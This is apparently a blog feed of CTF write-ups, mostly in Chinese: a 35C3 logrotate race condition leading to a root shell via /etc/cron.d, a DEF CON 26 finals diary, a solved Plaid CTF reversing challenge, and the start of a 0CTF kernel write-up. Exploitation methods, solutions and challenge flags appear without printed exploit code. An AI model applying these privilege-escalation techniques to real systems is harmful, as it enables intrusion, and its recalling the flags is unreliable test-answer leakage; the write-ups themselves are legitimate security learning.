前面有提到 <code>createOutputFile</code> 會在 log 存在時進行備份<br>
利用這個行為增加 race condition 成功的機會<br>
最後大約放著跑了一個小時後<br>
成功拿到建立 <code>/etc/cron.d/pwnme.log</code> 並拿到 root shell </p>
<p>這題雖然分類在 <code>zajebiste</code> 底下<br>
除了有問題的設定檔,的確也幾乎是 real world 的環境配置<br>
但實際上發生問題的機率實在是太低了 = =<br>
這題如果沒有辦法用 while loop 去重複執行 <code>run_cron</code> 根本沒辦法觸發問題...囧rz<br>
我猜也是因為這樣出題者才懶得回報問題吧 (茶 </p>
<p>flag: <code>35C3_rotating_as_intended</code></p>
<p>exploit: <a href="https://ddaa.tw/exp/logrotate.sh">exp.sh</a></p>DEF CON 26 CTF Final summary2018-08-18T02:22:00+08:002018-08-18T02:22:00+08:00ddaatag:ddaa.tw,2018-08-18:/defcon_26_other_summary.html<p>稍微紀錄一下 DEF CON 26 CTF 這幾天的事情...<br>
有些情況是睡醒之後聽大家轉述的,如果有誤還麻煩指證 XD</p>
<hr>
<h2>Day 0</h2>
<p>趕工封包分析工具,寫出各種 bug ... 早知道前幾天就少玩一點 switch 了 XD</p>
<p>其中最麻煩的 bug 是發現封包如果時間非常接近時有 race condition 的問題,先發生的測試會被覆寫成同一次結果,搞東搞西弄到早上快五點才讓工具能正常工作 Orz</p>
<p><img alt="switch.jpg" src="https://ddaa.tw/images/defcon_26_switch.jpg"></p>
<h2>Day 1</h2>
<p>唯一下去會場的一天,一開始現場網路大爆炸,對外網路 1800ms 的延遲 XDD 比賽延後一小時開始,預料之內的因為主辦方更換,規則也跟著有所變動:</p>
<ul>
<li>Attack & Defense 的算分不再是零和制</li>
<li>Attack point 打多少隊伍就得多少分</li>
<li>Defense point 有成功擋住攻擊會獲得分數<ul>
<li>不太確定到底是怎麼判斷成功防禦,主辦方到第三天才把分數算對...應該算對了吧 …</li></ul></li></ul><p>稍微紀錄一下 DEF CON 26 CTF 這幾天的事情...<br>
有些情況是睡醒之後聽大家轉述的,如果有誤還麻煩指證 XD</p>
<hr>
<h2>Day 0</h2>
<p>趕工封包分析工具,寫出各種 bug ... 早知道前幾天就少玩一點 switch 了 XD</p>
<p>其中最麻煩的 bug 是發現封包如果時間非常接近時有 race condition 的問題,先發生的測試會被覆寫成同一次結果,搞東搞西弄到早上快五點才讓工具能正常工作 Orz</p>
<p><img alt="switch.jpg" src="https://ddaa.tw/images/defcon_26_switch.jpg"></p>
<h2>Day 1</h2>
<p>唯一下去會場的一天,一開始現場網路大爆炸,對外網路 1800ms 的延遲 XDD 比賽延後一小時開始,預料之內的因為主辦方更換,規則也跟著有所變動:</p>
<ul>
<li>Attack & Defense 的算分不再是零和制</li>
<li>Attack point 打多少隊伍就得多少分</li>
<li>Defense point 有成功擋住攻擊會獲得分數<ul>
<li>不太確定到底是怎麼判斷成功防禦,主辦方到第三天才把分數算對...應該算對了吧?</li>
</ul>
</li>
<li>除了 A&D 以外也同時有 King of the Hill 的題目,前五名就會分別獲得 10, 6, 3, 2, 1 分<ul>
<li>個人覺得這樣的配分比較理想,大家不會因為第一名領先太多而放棄 KoH 的題目。</li>
</ul>
</li>
<li>禁止 access 到 gamebox,也不能連到其他隊伍的網路</li>
<li>每題隨著 exploit 的數量而有不同的狀態,由好到壞的順序是 <strong>GOOD</strong>-> <strong>LOW</strong> -> <strong>BAD</strong> -> <strong>INACTIVE</strong>,變成 <strong>INACTIVE</strong> 就不能再打了<ul>
<li>大家可以根據題目的狀態評估這題的投資報酬率,個人覺得這個設計還不錯</li>
</ul>
</li>
</ul>
<p><img alt="status.png" src="https://ddaa.tw/images/defcon_26_status.png"></p>
<p>原本要寫自動抓 pcap 並根據 service 分割後分類保存的 script,結果今年規則 pcap 會到 service 快被打爛才給......XDD 頓時沒事情做,同時宣告昨晚的封包分析工具幾乎做白工了 = = BTW,後來 lsc 抽空把 script 寫完了 <(_ _)> 大家讀完規則心情都不太美麗,因為之前趕工的 tool 幾乎沒有用武之地了 Q__Q</p>
<p>取得 pcap 的管道是從 web 頁面下載,不像往年是從 sftp 下載,用 web 我是沒意見,但為什麼不另外做一頁來讓大家載 pcap = =</p>
<p><img alt="pcap.png" src="https://ddaa.tw/images/defcon_26_pcap.png"></p>
<p>開賽後放出一道 KoH 的題目 <code>reverse</code>,下載 binary 執行後發現是一個 cloze 問答遊戲,題目會將 assembly 的片段挖空,要從選項回答正確的答案,但後來發現選項有重複甚至根本答案是錯的...= = 嘗試 reverse 並 patch 程式,但 server 端有檢查數據而行不通。</p>
<p>後來大致可分兩組人馬用不同方式解這題:</p>
<ul>
<li>Parse output 組 (sean & david942j)</li>
<li>Reverse protocol 組 (lays & jery 和樓上其他人?)</li>
</ul>
<p>我嘗試用 gdbscript hook 處理 output 的 function,再 parse 題目自動解題,但後來發現進度落後其他人,就沒有繼續嘗試了。</p>
<p>下午放出新題 <code>pointless</code>,binary 是 mips 的架構,連上去之後得到了一些 base64 的字串,解回來是一個很大的數字,初步猜測是 crypto 相關的題目。</p>
<p>原本想丟到 <a href="https://retdec.com/">RetDec</a> 做 decompile,但發現 online service 已經關了,改成 open source 讓大家自己用工具處理,裝了一下 ida plugin 覺得難用,就倚賴 orange 和 jery 幫忙 decompile,一開始解出的 code 有幾十萬行...根本不能看 = =,後來把 gmpz 的 library 餵進去之後,剩下 4000 餘行,大家比較能開始找洞在哪。</p>
<p>待到下午四點左右實在撐不住了,先回樓上睡覺,睡醒得知有放兩道新題 <code>doublethink</code> 和 <code>twoplustwo</code>,jery 已經發現 <code>pointless</code> 一個 <code>memcpy</code> 的漏洞,但因為前面的 crypto 沒辦法解,所以還是不能串整個 exploit,大家跟 lyc12345 遠端討論了一下 RSA 要如何破,但因為飯店網路有問題沒辦法好好的寫 code 測試。</p>
<p>DEFKOR00T 打出 <code>twoplustwo</code> 的 firstblood,david942j 有發現漏洞但是還沒辦法成功利用。 </p>
<p>PPP 已經成功打出 <code>pointless</code> 的 firstblood,據說得知主辦方出包跑的題目是 x64 的版本,也因為這樣我們猜測一定還有一個能讀 flag 的邏輯洞,否則 PPP 不太可能成功打下 XD</p>
<p>晚餐時間發生了小插曲,要用 ubereat 定麥當勞當晚餐,angelboy 原本想訂麥克雞塊套餐,結果點到快樂兒童餐,而且有一票人喊 +1,大家因此得到了好幾個 Mario Odyssey 的玩具 XDDD</p>
<p><img alt="mcdonalds.jpg" src="https://ddaa.tw/images/defcon_26_mcdonalds.jpg"></p>
<h2>Day 2</h2>
<p>晚上大家分成三組解 <code>pointless</code>、<code>twoplustwo</code> 和 <code>doublethink</code>,<code>pointless</code> 看一陣子之後覺得幫不上忙,決定改去解 <code>doublethink</code>。</p>
<p><code>doublethink</code> 也是 KoH 的題目,規則是上傳一份 shellcode,能同時跑在越多架構上則獲得越高分,一共有 14 個平台,分成 present, past, future 三類:</p>
<ul>
<li>past<ul>
<li>lgp-30</li>
<li>pdp-1, pdp-8, pdp-10</li>
<li>mix</li>
<li>ibm-1401</li>
<li>nova</li>
</ul>
</li>
<li>present<ul>
<li>amd64</li>
<li>arm64</li>
<li>mipsel</li>
</ul>
</li>
<li>future<ul>
<li>risc-v</li>
<li>hexagon</li>
<li>mmix</li>
<li>clemency</li>
</ul>
</li>
</ul>
<p>雖然有 14 個平台,但 present 只能選一個來跑,因此理論上最多可以拿到 12 分。</p>
<p>review 完主辦方給的環境後,發現每次 shellcode 在執行的環境沒有互相隔離,amd64 拿來跑 shellcode 的 binary 也沒有任何的防護,推測是可以拿 shell 來做一些壞事,但因為有降權成 <code>nobody</code>,一開始沒有看到什麼明顯的問題。</p>
<p>後來 jeffxx 發現 past 系列都會將 instruction pipe 給 simulator 執行,推測這邊有 race condition 的問題,可以 hijack fd 來影響 output,摸索了一陣子成功做出 POC,證明 jeffxx 的猜測正確。</p>
<p>最後分的 exploit 分成三個人完成:</p>
<ul>
<li>sean 負責串 present 和 future 的 polyglot shellcode,成功串了 <code>amd64</code>+<code>risc-v</code>+<code>hexagon</code></li>
<li>jeffxx 將 POC 改寫成可以穩定觸發 race condition 的 shellscript</li>
<li>我負責把 POC 寫成不需要透過 reverse shell 就能執行 shell script 的版本<ul>
<li>有過今年 SECCON final 前車之鑑,現在寫 exploit 都盡可能寫成不需要 reverse shell 的版本,後來證明改寫是必要的...</li>
</ul>
</li>
</ul>
<p>因為沒注意到 service.py 會執行 killall 的問題,debug 很久才確認沒辦法跑一份 shellscript 就 hijack 全部 past 架構,完成時已經接近早上八點吃早餐的時間了,BTW,優等生 twoplustwo 組很早就完成 exploit 然後先去睡了,羨慕阿~~</p>
<p>隔天開賽主辦方又出包了...XD,A&D 推遲到中午才開始,KoH 早一點,11 點就可以開打,昨晚精心撰寫的 exp 成功的打下了 11 個平台...才怪,一開始沒有成功打出 exploit,只能眼看著 Dragon Sector 成功打出 9 個 exploit Orz</p>
<p>如昨晚預期的可能沒有 reverse shell 可以用,暗自慶幸有熬夜改寫成寫檔的版本,但寫檔的版本也沒有成功打下 11 個平台...。</p>
<p>原本以為是主辦方的環境有禁止寫檔,要改寫成純 assembly 的版本,但越想越不對勁,於是先用 open+write 再用 sendfile 確認寫檔是否能成功,結論是有成功寫檔,但是一直噴出重複的內容,猜測是重複執行寫檔了,至今還是不曉得為什麼會造成這種情況...由於寫檔會一直 loop,可想而知 shellscript 的內容也重複了,正在思考如何改寫時,bruce30262 神來一筆說直接在最後插 <code>exit</code> 就好了,真是睿智 XD</p>
<p>在經歷一番波折後成功的打下了 11 個平台,一開始主辦方不知道為何沒吃到紀錄...,打了第二次才成功將記錄更新,話說因為最後 exploit 要各平台手動執行,在打名稱時手都抖抖的很怕自己打錯就要重來了 XDDD</p>
<p><img alt="doublethink_rank.jpg" src="https://ddaa.tw/images/defcon_26_doublethink_rank.jpg"></p>
<p>同時 A&D 的狀況似乎不太樂觀,<code>pointless</code> 因為 mips 跑得太慢,攻擊很容易打不成功,而 <code>twoplustwo</code> 因為洞太簡單,大部分的隊伍已經補上,也沒有成功拿到多少分數......,確認 <code>doublethink</code> 穩定拿分,而且 sean 暫時沒有想串 clememcy 的念頭我就先去睡了。</p>
<p>睡覺的途中放了新題 <code>oooeditor</code> 和 <code>poool</code>,<code>oooeditor</code> 在我還神志不清的時候大家就解掉了 <(_ _)> 沒多久 <code>oooeditor</code> 的洞幾乎全世界都補上,主辦方放出 pcap 時根本沒用了 = = 這題的狀態也很快就變成 <strong>INACTIVE</strong>,大概是壽命最短暫的一題了,<code>poool</code> 是關於 blockchain 的題目,這領域我不太拿手,打開稍微看一下就沒繼續深追了,沒多久 DEFKOR00T 成功打出了 firstblood ... 由衷佩服他們挖掘漏洞的速度 Orz</p>
<p>沒多久又放了新題 <code>bew</code>,是由 node.js 架設的 web 服務,能 patch 的檔案是 web assembly,建設 docker 時發現 npm 有噴 <code>express-validator</code> 這個套件的 security issue,但看了一下是用來做 DoS 的,估計是沒什麼用,我們還在傻傻的看 wasm 的時候,orange 成功黑箱踹出可以 js injection,沒多久就成功拿到 flag,可惜 PwnThyBytes 更早了一些,沒成功拿到 firstblood QQ。由於這題的 payload 會直接被記在 web 的某個頁面上,這題大家很快就打得滿天飛了,大家研究了很久該如何 patch,最後發現 wasm 裡面的 <code>eval</code> 不是觸發 injection 的點,orange 寫了一個簡易的 waf 阻止被攻擊,貌似有成功防禦當時大家的 payload ... 但後來他自己想到繞過的方式了 XDD</p>
<p><img alt="bew.png" src="https://ddaa.tw/images/defcon_26_bew.png"></p>
<p>第二天結束前放了新題 <code>vchat</code>,另外由於開賽 delay,第二天延到 21:00 才結束,主辦方宣布了一些事項,其中比較重要的是他們發現 Defense point 有算錯,明天會將修正後的分數公佈,在等待晚餐到來之際,手機陸續收到了沙塵暴和大洪水的災難通知 XDDD,只能感謝 turkey 和 alan 在這種天氣下幫我們張羅晚餐 <(_ _)>,晚餐是好吃的中式餐館,可以排名今年來 Les Vegas 前三好吃的食物 XD。</p>
<h2>Day 3</h2>
<p>晚上也是分成三組在看題目,分別是 <code>poool</code>、<code>bew</code> 和 <code>vchat</code>,考慮了一下決定看新題 <code>vchat</code>,投資報酬率應該會比較高(後來證明大錯特錯...)。</p>
<p>題目給了兩個檔案 <code>vchat</code> 和 <code>vbot</code>,前者只是一個 shellscript 來執行 <code>vbot</code>,後者是一個 binary,觀察了一陣行為得知是 xmpp 協定的 client,嘗試裝了各種 open source 的 server 都沒辦法好好的跟 <code>vbot</code> 互動,後來在 jeffxx 神一樣的通靈之下,理解到原來 <code>vbot</code> 會以 anonymous 的身分登入,因此要讓 <code>vbot</code> 主動跟我們的 client 聯繫,我們才有辦法得知 id 並傳送指令,至此已經接近凌晨 3 點了...。</p>
<p>接著分頭進行逆向和撰寫 client,但竟然找不到一個文件齊全的 library 使用,一直卡在 anonymous 認證這邊不曉得怎麼處理,後來 jeffxx 跟 meh 決定直接用題目用的 gloox 來寫 client XD</p>
<p>到早上六點 client 基本上可以動了,但找不到洞在哪... 我一度以為處理 QRcode 的地方會 heap overflow,但其實不會,base64 疑似有 off-by-one 的漏洞,但是在保護全開又沒辦法正常 leak 的情況下似乎不太能利用,就這樣抱著會被其他隊伍打爆的心情開賽了,結果竟然風平浪靜,沒有隊伍看出問題在哪,另外主辦方在設置環境時就先給了 <code>vchat-hint.tgz</code> ...,解開後發現是 server 和 client 的 Dockerfile,眾人猜測是昨天忘記附上...... 有了 server 昨天至少可以省下兩小時的時間 = =</p>
<p>第三天秀了一下修正 Defense point 的結果,我們似乎上升到了第三名,接著就如往年的慣例不再顯示記分板,但聽說偶爾會顯示匿名的戰況。</p>
<p><code>bew</code> 這題遇到跟 <code>pointless</code> 差不多的慘劇,打了幾輪之後發現有隊伍開始 DoS 服務,patch 系統也發生問題,沒辦法把 atdog 昨晚精心設計的 patch 給傳上去,甚至發生之前傳的 ok,但重傳一次就變成 <strong>SLA FAIL</strong> 的慘況,過沒多就這題就關了。</p>
<p><img alt="patch.jpg" src="https://ddaa.tw/images/defcon_26_patch.jpg"></p>
<p><code>poool</code> 開賽打出非常好的效果,一開始約莫可以打 20 隊左右,猜測是因為主辦方今天突然宣布只能 patch 100 byte,大家昨晚的 patch 沒辦法成功上傳的原因 XD 唯一可惜的是一開賽 <code>poool</code> 的狀態就是 <strong>LOW</strong>,過一陣子又變成 <strong>BAD</strong> 了,否則應該應該可以賺更多分數。</p>
<p>開賽後沒多久放了新題目 <code>reeducation</code>,是個 rust 的執行檔,果斷放生 <code>vchat</code> 來看這題,對 rust 逆向不甚熟悉,還好有 jery 在旁可以詢問,用手動亂 fuzz 有發現 input 要超過 1024 byte 才會觸發執行失敗的錯誤訊息,後來又發現餵 non-printable 可以戳出 out-of-bound 的 exception,但沒看出有哪邊可以利用。</p>
<p>過一陣子 DEFKOR00T 又打出了 firstblood,後來許多隊伍也開始打出攻擊,但我們遲遲沒辦法找到問題 Q__Q 一直到結束前一小時才發現是個很簡單的 out-of-bound 漏洞.....,主辦方原本要放出 pcap,但卻忘記錄流量,直到我們去反應才發現,沒多久就成功 replay 了 (因為洞真的很簡單),主辦方似乎對我們沒找到這麼簡單的問題感到驚訝...Orz</p>
<p>在結束前我也成功寫完了可以 leak flag 的 exploit,但為時已晚,大家很擔心會因為這題而被翻盤,順帶一提這題只能 patch 16 byte,在發現問題後 jery patch 了 13 byte 的版本並上傳,卻顯示 <strong>TOO MANY BYTE</strong> ... XDDD</p>
<p>在我因為 <code>reeducation</code> 焦頭爛額時,主辦方也放了最後一題 KoH <code>propaganda</code>,只有大概了解是一個比用最少 byte patch 程式的題目,我們似乎一直在第五名左右徘徊,這題應該是唯一一題我完全沒有看過的題目。</p>
<p>賽後跟大家一起發送鳳梨酥給各隊伍,跟其他隊伍交流了一下題目的做法,也炫耀 (?) 了一下 <code>doublethink</code> 是怎麼做到 11 個平台的 XD,Dragon Sector 果然也是用同一招解的,PPP 串了八個平台跟神一樣...,BFS 也串了五個平台,而且還是分兩邊進行再接在一起,也是滿不簡單的 XDD</p>
<p><code>vchat</code> 的洞聽說是跟 gloox 有關,老實說有猜到洞可能會是不當使用 library,但比較把心思花在各個指令的功能上,沒有認真的把處理 xmpp 的邏輯看一遍,早知道應該放棄 <code>vchat</code> 早點睡覺,<code>reeducation</code> 應該就不會沒看到那個廢洞了 QQ</p>
<p>賽後交流的期間主辦方把 DEFKOR00T、PPP 還有 HITCON 的隊長叫過去集合,說等等頒獎時務必要到場,大概就猜到應該有前三名了,閉幕儀式跟往年一樣整個睡死,途中換個姿勢睡,結果一睜眼就有一顆球飛過來 = = 順手擋了一下球又往後面飛去了,不知道後來被玩到哪去了 XDD 今年是第一次讓前三名上台領獎,過往都只有第一名上台而已,可惜我不太上相...QQ</p>
<p><img alt="award.jpg" src="https://ddaa.tw/images/defcon_26_award.jpg"></p>
<p>結束跟去年一樣吃 Caesar 的 buffet,螃蟹腳吃到飽就是爽 (?) angelboy 也太會剝螃蟹了吧 = = 吃完跟 jeffxx、lsc、lays 去賭輪盤,jeffxx 沒多久就輸光退場了,我接著也輸光退場 QQ Lays 原本也要輸光了,結果連續梭兩次從 $10 變成 $40,有夠扯...= = lsc 還在各種奮戰,但 after party 的時間到了,就先回房間跟其他人會合會合一起過去,房間在玩 Overcooked,四個人玩到快要吵架了...XDDD</p>
<p><img alt="crab.jpg" src="https://ddaa.tw/images/defcon_26_crab.jpg"></p>
<p>after party 是 OOO 提供的總統套房,有超大電視螢幕、兩層樓、撞球桌和疑似廚房的空間,真的猛,但即使這麼大的空間場地還是被塞爆了,現場可能有快 100 人吧 = = 今年好像沒有 PCTF 的衣服好拿,只好改拿 shellphish 的衣服,現場人實在是太多了,只有跟 TokyoWesterns 和 Shellphish 的成員聊到天,沒多久就回去行政套房加入 switch party 的行列了 XD</p>
<p><img alt="after_party.jpg" src="https://ddaa.tw/images/defcon_26_after_party.jpg"></p>
<h2>後記</h2>
<p>今年的 DEF CON CTF 因為 infrastructure 不穩定,大家還滿困擾的,但題目本身的品質還不錯,幾題 KoH 大家都玩得很盡興,尤其是 <code>doublethink</code>,在撰寫這篇文章時已經看到有串 9 個平台的版本了...真的是太瘋狂了 XD 還好主辦方最後允許用 race condition 的方式做題,否則今年能不能保住前三名實在難說 QQ</p>
<p>開始工作之後解 jeopardy 的能力大幅下滑了 QQ 稍微難一點的 pwn 題都要想很久才有辦法解,如果比較新的 trick 就更不會了 T__T 但這兩年打 DEF CON CTF 反而做出比較多的貢獻,大概是基礎能力全面提升了吧? 今年的 <code>doublethink</code> 應該是我寫過的 exploit 裡面拿最多分的一次了,爽 XD</p>
<p><img alt="doublethink_result.jpg" src="https://ddaa.tw/images/defcon_26_doublethink_result.jpg"></p>
<p>不知不覺也打 CTF 5 年了,但對 real world 的漏洞挖掘還是沒有什麼突破 Q__Q 還要更加努力阿...!</p>
<p>最後放張 jery 難得有入鏡的大合照做結尾 XD</p>
<p><img alt="our_photo.jpg" src="https://ddaa.tw/images/defcon_26_our_photo.jpg"></p>Plaid CTF 2018 Reverse 200 Plaid Adventure2018-05-17T04:04:00+08:002018-05-17T04:04:00+08:00ddaatag:ddaa.tw,2018-05-17:/plaidctf_reverse_200_plaid_adventure.html<p>這題困難的地方都被 <strong>lucas</strong> 逆完了 <(_ _)><br>
不過有個小地方讓我們卡關超久...<br>
BTW,我覺得這題分數 200 分有點太少... </p>
<hr>
<h2>Overview</h2>
<p>將題目給的檔案解開後,發現竟然是個 web service = =<br>
不過只是個靜態網頁,可以隨便用個 python http server 跑起來<br>
用 broswer 連上可以發現是個文字解謎的遊戲<br>
這種遊戲模式被稱為 <a href="https://en.wikipedia.org/wiki/Interactive_fiction">Interactive fiction</a> </p>
<p>遊戲開始後會進入一個迷宮<br>
迷宮不算複雜,正常的遊玩就可以把所有場景走一遍<br>
可以入手的道具有:</p>
<ol>
<li>紅、藍、黃、綠 四色寶石各一顆</li>
<li>大門鑰匙</li>
</ol>
<p>獲得所有道具後前往某個有大門的場景<br>
用鑰匙打開門後,會有一台機器可以放置四色寶石<br>
依序放上後,出現 ... 的訊息<br>
猜測是要根據某個順序觸碰寶石<br>
到這邊就無法用正常的繼續遊戲,開始需要逆向遊戲的邏輯<br>
我大概花一個小時就過到這邊,接下來卡了十幾個小時...Orz </p>
<div class="highlight"><pre><span></span>>put …</pre></div><p>這題困難的地方都被 <strong>lucas</strong> 逆完了 <(_ _)><br>
不過有個小地方讓我們卡關超久...<br>
BTW,我覺得這題分數 200 分有點太少... </p>
<hr>
<h2>Overview</h2>
<p>將題目給的檔案解開後,發現竟然是個 web service = =<br>
不過只是個靜態網頁,可以隨便用個 python http server 跑起來<br>
用 broswer 連上可以發現是個文字解謎的遊戲<br>
這種遊戲模式被稱為 <a href="https://en.wikipedia.org/wiki/Interactive_fiction">Interactive fiction</a> </p>
<p>遊戲開始後會進入一個迷宮<br>
迷宮不算複雜,正常的遊玩就可以把所有場景走一遍<br>
可以入手的道具有:</p>
<ol>
<li>紅、藍、黃、綠 四色寶石各一顆</li>
<li>大門鑰匙</li>
</ol>
<p>獲得所有道具後前往某個有大門的場景<br>
用鑰匙打開門後,會有一台機器可以放置四色寶石<br>
依序放上後,出現 ... 的訊息<br>
猜測是要根據某個順序觸碰寶石<br>
到這邊就無法用正常的繼續遊戲,開始需要逆向遊戲的邏輯<br>
我大概花一個小時就過到這邊,接下來卡了十幾個小時...Orz </p>
<div class="highlight"><pre><span></span>>put red
(the red orb in the red slot)
The red orb clicks into place, and lights up with a subtle glow.
>put blue
(the blue orb in the blue slot)
The blue orb clicks into place, and lights up with a subtle glow.
>put yellow
(the yellow orb in the yellow slot)
The yellow orb clicks into place, and lights up with a subtle glow.
>put green
(the green orb in the green slot)
The green orb clicks into place, and lights up with a subtle glow.
The machine whirs to life, and the orbs get brighter. Perhaps you could try touching them?
>
</pre></div>
<h2>Analysis</h2>
<p>一開始有些困惑這題的目的是什麼<br>
因為 web 並不會去讀取 gblorb<br>
研究了一陣子發現 web 是透過 interpreter 執行 <code>Plaid Adventure.gblorb.js</code><br>
也可以用其他的媒介載入 gblorb 執行遊戲,兩者沒有差別 </p>
<p>用 file 查看 gblorb 會得到以下結果:</p>
<blockquote>
<p>IFF data, Blorb Interactive Fiction with executable chunk</p>
</blockquote>
<p>丟給 google 搜尋得知和 <a href="https://en.wikipedia.org/wiki/Inform#Inform_7">Inform 7</a> 有關<br>
Inform 7 是拿來開發 IF 的一種 framework<br>
可以讓開發者用自然語言來撰寫 IF 遊戲 <br>
寫好的遊戲會以 <a href="https://en.wikipedia.org/wiki/Glulx">Glulx</a> 運行 <br>
Glulx 是一種專門用來執行 IF 的虛擬機<br>
<a href="https://www.eblong.com/zarf/glulx/">https://www.eblong.com/zarf/glulx/</a> 收集了各種 Glulx 的實做<br>
我後來是選擇用純 cmdline 操作的 <strong>glulxe</strong> 來執行遊戲<br>
比較方便透過 script 操作<br>
不用每次重新手動走迷宮 XD </p>
<h2>Reversing</h2>
<p>上述的網站也有 Glulx 的完整 spec<br>
原先以為要看懂他的實作自己 parsing gblorb 的內容<br>
但搜尋一下發現已經有寫的 decompiler <a href="https://hackage.haskell.org/package/mrifk">mrifk</a> <br>
可以將 gblorb 轉成 human readable 的 pseudo code<br>
片段如下:</p>
<div class="highlight"><pre><span></span>[ routine221097 local0 ;
local0 = 0;
.label221105:
if (local0 < 16) {
478466->local0 = 0;
local0 = local0 + 1;
jump label221105;
}
return 1;
];
</pre></div>
<p>pseudo code 中有幾種比較重要的語法</p>
<ol>
<li>Object<ul>
<li>Object 會定義遊戲中的各種場景和物件,並且描述他們之間的關聯性</li>
<li>e.g. 房間 A 可以往西走到房間 B,這樣 Object 就會定義 A 和 B 的關聯性</li>
</ul>
</li>
<li>Routine<ul>
<li>Routine 像是執行了某個指令後要觸發的行為,基本上跟 function 十分類似</li>
<li>e.g. 輸入 <code>open door</code>,觸發開門的 Routine,但因為門是上鎖的,檢查某個變數沒有被設置後,就印出對應訊息然後結束 routine,輸入 <code>unlock door with key</code> 之後,觸發開鎖的 Routine 並設置變數,再次輸入 <code>open door</code> 就可以順利開門</li>
</ul>
</li>
<li>local0, local4, local8, ...<ul>
<li>類似 local varible 的概念,從命名規則可以推測變數的大小</li>
<li>宣告在 routine 名稱後面的代表是 caller 傳來的參數</li>
</ul>
</li>
<li>478466->local0<ul>
<li>類似全域變數,此例 <code>478466</code> 是個長度為 16 的一維陣列,local0 是 index</li>
</ul>
</li>
</ol>
<p>但光靜態分析 psedo code 還是難以完全理解程式邏輯<br>
需要一邊執行遊戲,一邊猜測運行到 pseudo code 的哪一段<br>
使用 <strong>glulxe</strong> 進行遊戲還有另一個原因<br>
<strong>glulxe</strong> 支援簡單的 debug 功能<br>
但由於我們沒有遊戲產生時的 debug info<br>
沒辦法直接存取遊戲裡的數值,只能簡單的下斷點來看程式運行到哪個階段<br>
斷點還只能設在 routine 的開頭... </p>
<p>透過比對 object 在那些 routine 被使用,及透過 breakpoint 耐心的 try and error<br>
可以追到有兩個 routine 是解這題的關鍵:</p>
<ul>
<li><code>routine221131</code><ul>
<li>處理 touch 礦石的 Routine</li>
<li>做的事情是把每三次觸碰的寶石顏色轉成一個數字,再存入一個長度 16 的矩陣<ul>
<li>red: 0b01</li>
<li>blue: 0b10</li>
<li>green: 0b10</li>
<li>yellow: 0b11</li>
</ul>
</li>
<li>e.g. 觸碰紅色三次就代表 <code>0b010101 = 21</code></li>
</ul>
</li>
<li><code>routine220666</code><ul>
<li>判斷觸碰的順序是否正確,正確則進入 <code>routine221211</code> 印 flag</li>
<li>將 <code>routine221131</code> 得到的矩陣與位於 <code>478802</code> 的二維陣列相乘,得到的結果要與 <code>478482</code> 的陣列相同</li>
</ul>
</li>
</ul>
<p>不過前面有提到 debugger 沒辦法存取數值<br>
但我們可以對 glulxe 稍做修改,印出 Glulx 裡面 <code>478802</code> 和 <code>478482</code> 位址上的資料 </p>
<h2>Solving</h2>
<p>由於陣列的大小都是 1 byte<br>
<code>routine220666</code> 其實就是 ring 在 0 ~ 255 的矩陣乘法<br>
<code>routine221131</code> 得到的矩陣 A 乘上位於 <code>478802</code> 的矩陣 B 等於位於 <code>478482</code> 的矩陣 X<br>
問題簡化為:<strong>AB=X, 已知 B 和 X,求 A 的值?</strong><br>
因此只要求出 B 的反矩陣與 X 相乘就可以得到結果<br>
將結果根據 <code>routine221131</code> 的規則做基底為 4 的因式分解就可以推回觸碰的順序<br>
聽起來很完美,但實際上並不是 Orz </p>
<p>解出來的 A 是 <code>[188, 185, 130, 28, 247, 150, 58, 227, 106, 0, 116, 197, 113, 25, 178, 70]</code><br>
根本無法用 <code>routine221131</code> 的規則推回對應的顏色<br>
這邊一開始是先用 z3 求解,為了避免是 z3 規則寫錯,後來改用 sage 做矩陣運算,也是得到相同的結果<br>
就這樣卡了一陣子,後來發現 <code>478482</code> 除了 <code>routine220666</code> 以外<br>
還有一個 <code>routine221185</code> 會把 478482[15] + 1 ...<br>
重算一次得到正確的結果:<code>[48, 7, 46, 15, 21, 25, 11, 24, 49, 16, 55, 12, 40, 41, 48, 47]</code><br>
轉換為顏色後,順序是:
<code>B B Y Y R B G Y G Y Y B R R R R G R Y G B B G R R B Y B B R Y R Y B Y B B G G R G G B B Y Y Y G</code><br>
但我們因為不知道如何觸發 <code>routine221185</code><br>
做法是直接修改 gblorb 上對應到 478482 的位址<br>
在按照上面的順序觸摸寶石,flag 就會噴出來了 </p>
<div class="highlight"><pre><span></span>The four orbs get brighter and brighter, as the machine starts violently whirring and clicking. You close your eyes as blinding light fills the room. When you finally open your eyes, you find yourself outside of the cavern, holding the flag in your hands:
PCTF{Tw1styL1ttl3Fl4g}
*** The End ***
</pre></div>
<h2>Note</h2>
<p>比賽結束後,irc 上出題者說,要發現隱藏的指令 <code>xyzzy</code><br>
輸入這個指令就會觸發 <code>routine221185</code><br>
應該有不少人也是卡死在這邊 XD </p>
<p>flag: <code>PCTF{Tw1styL1ttl3Fl4g}</code><br>
exploit: <a href="https://ddaa.tw/exp/plaid-adventure.sage">solve.sage</a> </p>0CTF 2018 Pwnable 478 Zer0 FS2018-04-06T22:51:00+08:002018-04-06T22:51:00+08:00ddaatag:ddaa.tw,2018-04-06:/0ctf_pwnable_478_zer0fs.html<p>The problem was solved with <strong>jeffxx</strong>, <strong>atdog</strong> and <strong>lays</strong><br>
Most of exploit was written by <strong>atdog</strong> during the competition and I rewrote the exploit for the write-up. </p>
<hr>
<h2>Analysis</h2>
<p>We will enter a shell that building by KVM after ssh connection enbalished. The discription said the flag is <code>sha256(/root/flag …</code></p><p>The problem was solved with <strong>jeffxx</strong>, <strong>atdog</strong> and <strong>lays</strong><br>
Most of exploit was written by <strong>atdog</strong> during the competition and I rewrote the exploit for the write-up. </p>
<hr>
<h2>Analysis</h2>
<p>We will enter a shell that building by KVM after ssh connection enbalished. The discription said the flag is <code>sha256(/root/flag)</code>, but we had no permisson to read it. As other Linux kernel challenge, our target is obtaining the root priviledge, then we can calculate the hash of <code>/root/flag</code>.<br>
There are two setuid programs under the root directory. One of them is <code>/mount</code>. Try to execute <code>/mount</code> but the error message is as below:</p>
<blockquote>
<p>mount: mounting /tmp/zerofs.img on /mnt failed: No such file or directory</p>
</blockquote>
<p>After created <code>/tmp/zerofs.img</code>, we got another error message:</p>
<blockquote>
<p>mount: mounting /dev/loop0 on /mnt failed: Device or resource busy</p>
</blockquote>
<p>Well, maybe we should make a normal image at first. Aside from creating image, let's see what files the challenge gave.</p>
<div class="highlight"><pre><span></span>-rw-r--r-- yoghur7/yoghur7 7173904 2018-03-29 03:42 public/bzImage
-rw-rw-r-- yoghur7/yoghur7 3229184 2018-03-30 01:13 public/rootfs.cpio
-rw-r--r-- yoghur7/yoghur7 326664 2018-03-29 03:42 public/zerofs.ko
